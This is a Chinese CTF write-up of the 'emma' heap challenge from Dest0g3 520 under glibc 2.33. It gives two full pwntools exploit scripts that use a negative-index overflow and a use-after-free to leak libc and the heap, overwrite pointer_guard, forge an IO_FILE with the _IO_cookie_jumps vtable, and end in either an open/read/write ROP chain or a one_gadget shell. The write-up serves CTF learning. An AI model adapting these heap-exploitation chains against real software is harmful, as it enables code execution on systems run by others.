dest0g3 520(招新赛)emma

前言

emma在前边已经做过一个了,但是体会并不是很深刻,于是找到以前比赛的时候看不懂的一个题,现在再来复现一遍,发现又学到了很多东西。(本题使用libc版本2.33-0ubuntu5_amd64/libc-2.33.so)

题目分析

首先在输入index的时候没有大于0的检查,于是可以负数越界

 

 然后是在delete函数里指针没有置空,存在uaf漏洞。

由于本题没有沙箱,所以不仅可以orw读flag,还可以onegadget拿shell。所以针对这两种方法,分别进行分析。

 方法一:orw

exp

from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'

r = process('./emma')
elf = ELF("./emma")
libc = elf.libc

def info(a,b):
    log.info("\033[0;31;40m"+a+hex(b)+'\033[0m')

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)

def add(index,size,content):
  r.sendlineafter(">>",'1')
  r.sendlineafter("Index:",str(index))
  r.sendlineafter("Size:",str(size))
  r.sendafter('Content',content)

def edit(index,content):
  r.sendlineafter(">>",'2')
  r.sendlineafter("Index:",str(index))
  r.sendafter('Content',content)

def show(index):
  r.sendlineafter(">>",'3')
  r.sendlineafter("Index:",str(index))


def delete(index):
  r.sendlineafter(">>",'4')
  r.sendlineafter("Index:",str(index))

#------------------------------leak-----------------------------
add(-4,0x418,'a')
add(1,0x418,'a')
add(2,0x420,'a')
add(3,0x418,'a')

delete(2)
add(4, 0x430,'a')
show(2)

leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info("leak->",leak)
libc_base=leak-0x1e0ff0
info("libc_base->",libc_base)


guard=libc_base-0x2890
pop_rdi = libc_base + 0x0000000000028a55
pop_rsi = libc_base + 0x000000000002a4cf
pop_rax = libc_base + 0x0000000000044c70
syscall = libc_base + 0x000000000006105a
gadget = libc_base + 0x000000000014a0a0  
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext = libc_base + libc.sym['setcontext']
IO_cookie_jumps = libc_base + 0x1e1a20
stderr = libc_base+libc.sym['stderr']
info("setcontext->",setcontext)
info("stderr->",stderr)

edit(2,"a"*0x10)
show(2)
r.recvuntil("a" * 0x10)
heap_base = u64(r.recv(6).ljust(8, '\x00'))-0xad0
info("heap_base->",heap_base)
#-------------------------------pointer_guard attack-----------------
delete(-4)
edit(2,p64(libc_base+0x1e0ff0)*2+p64(heap_base+0xad0)+p64(guard - 0x20))
add(5,0x430,'f')
edit(2, p64(heap_base + 0x290) + p64(libc_base + 0x1e0ff0) + p64(heap_base + 0x290) * 2)
edit(-4, p64(libc_base + 0x1e0ff0) + p64(heap_base + 0xad0) * 3)
add(-4,0x418,'a')
add(2,0x420,'b')
#---------------------------topchunk_size attack-----------------------
delete(5)
add(6, 0x420,'a')
edit(5,'a'*0x428+p64(0x300))

#------------------------------fake IO---------------------------------
next_chain = 0
fake_IO_FILE =  4*p64(0)
fake_IO_FILE += p64(0)                   # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)                   # _IO_buf_base
fake_IO_FILE += p64(0)                   # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(next_chain)          # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heap_base)           # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(0)                   # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(IO_cookie_jumps+0x40)# vtable
fake_IO_FILE += p64(heap_base+0xad0+0x10)       # rdi payload
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget ^ (heap_base+0x290), 0x11))

fake_frame_addr = heap_base+0xae0+0x10
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8# ./flag
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1  # ret

rop = [
    pop_rax,  # sys_open('flag', 0)
    2,
    syscall,
  
    pop_rax,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi,
    3,
    pop_rsi,
    fake_frame_addr + 0x200,
    syscall,

    pop_rax,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi,
    1,
    pop_rsi,
    fake_frame_addr + 0x200,
    syscall
]
payload = p64(0) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(setcontext + 61)
payload += str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop)

edit(-4, fake_IO_FILE)
edit(2, payload)
r.sendlineafter(">>",'1')
r.sendlineafter("Index:",str(8))
gdb.attach(r)
r.sendlineafter("Size:",str(0x600))
r.interactive()

分析

由于在以前博客已经说过了emma的orw的做法,这里就不在逐个分析代码了。说一些重点:创建index为-4的堆块可以正好覆盖掉stderr的值,覆盖为第一个堆块(-4)的地址,而我试了试用largebin attack修改stderr,发现改的是stderr实际地址里的地址,而不是程序中stderr中的。所以这种方法应该不行。

附上函数执行流程

si进入

 si进入

 si进入

 si进入

 si进入

 si进入

 si进入

 si进入

 

进入cookie,rax异或之后就是setcontext 

 

 

 方法二:get  shell

exp

from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'

r = process('./emma')
elf = ELF("./emma")
libc = elf.libc

def info(a,b):
    log.info("\033[0;31;40m"+a+hex(b)+'\033[0m')

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)

def add(index,size,content):
  r.sendlineafter(">>",'1')
  r.sendlineafter("Index:",str(index))
  r.sendlineafter("Size:",str(size))
  r.sendafter('Content',content)

def edit(index,content):
  r.sendlineafter(">>",'2')
  r.sendlineafter("Index:",str(index))
  r.sendafter('Content',content)

def show(index):
  r.sendlineafter(">>",'3')
  r.sendlineafter("Index:",str(index))


def delete(index):
  r.sendlineafter(">>",'4')
  r.sendlineafter("Index:",str(index))

#------------------------------leak-----------------------------
add(-4,0x418,'a')
add(1,0x418,'a')
add(2,0x420,'a')
add(3,0x418,'a')

delete(2)
add(4, 0x430,'a')
show(2)

leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info("leak->",leak)
libc_base=leak-0x1e0ff0
info("libc_base->",libc_base)
guard=libc_base-0x2890
onegadget=[0xde78c,0xde78f,0xde792]
ogg=libc_base+onegadget[0]
IO_cookie_jumps = libc_base + 0x1e1a20
stderr = libc_base+libc.sym['stderr']
info("stderr->",stderr)

edit(2,"a"*0x10)
show(2)
r.recvuntil("a" * 0x10)
heap_base = u64(r.recv(6).ljust(8, '\x00'))-0xad0
info("heap_base->",heap_base)
#-------------------------------pointer_guard attack-----------------
delete(-4)
edit(2,p64(libc_base+0x1e0ff0)*2+p64(heap_base+0xad0)+p64(guard - 0x20))
add(5,0x430,'f')
edit(2, p64(heap_base + 0x290) + p64(libc_base + 0x1e0ff0) + p64(heap_base + 0x290) * 2)
edit(-4, p64(libc_base + 0x1e0ff0) + p64(heap_base + 0xad0) * 3)
add(-4,0x418,'a')
add(2,0x420,'b')
#---------------------------topchunk_size attack-----------------------
delete(5)
add(6, 0x420,'a')
edit(5,'a'*0x428+p64(0x300))

#------------------------------fake IO---------------------------------
next_chain = 0
fake_IO_FILE =  4*p64(0)
fake_IO_FILE += p64(0)                   # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)                   # _IO_buf_base
fake_IO_FILE += p64(0)                   # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(next_chain)          # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heap_base)           # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(0)                   # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(IO_cookie_jumps+0x40)# vtable
fake_IO_FILE += p64(0)       # rdi payload
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(ogg ^ (heap_base+0x290), 0x11))

edit(-4, fake_IO_FILE)
r.sendlineafter(">>",'1')
r.sendlineafter("Index:",str(8))
gdb.attach(r)
r.sendlineafter("Size:",str(0x600))
r.interactive()

分析

还是通过伪造fake file的vtable让程序进入cookie,然后传递参数(rax)改为onegadget,使其call rax时候执行onegadget来get shell即可。

 si进入

 

 

  • 9
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值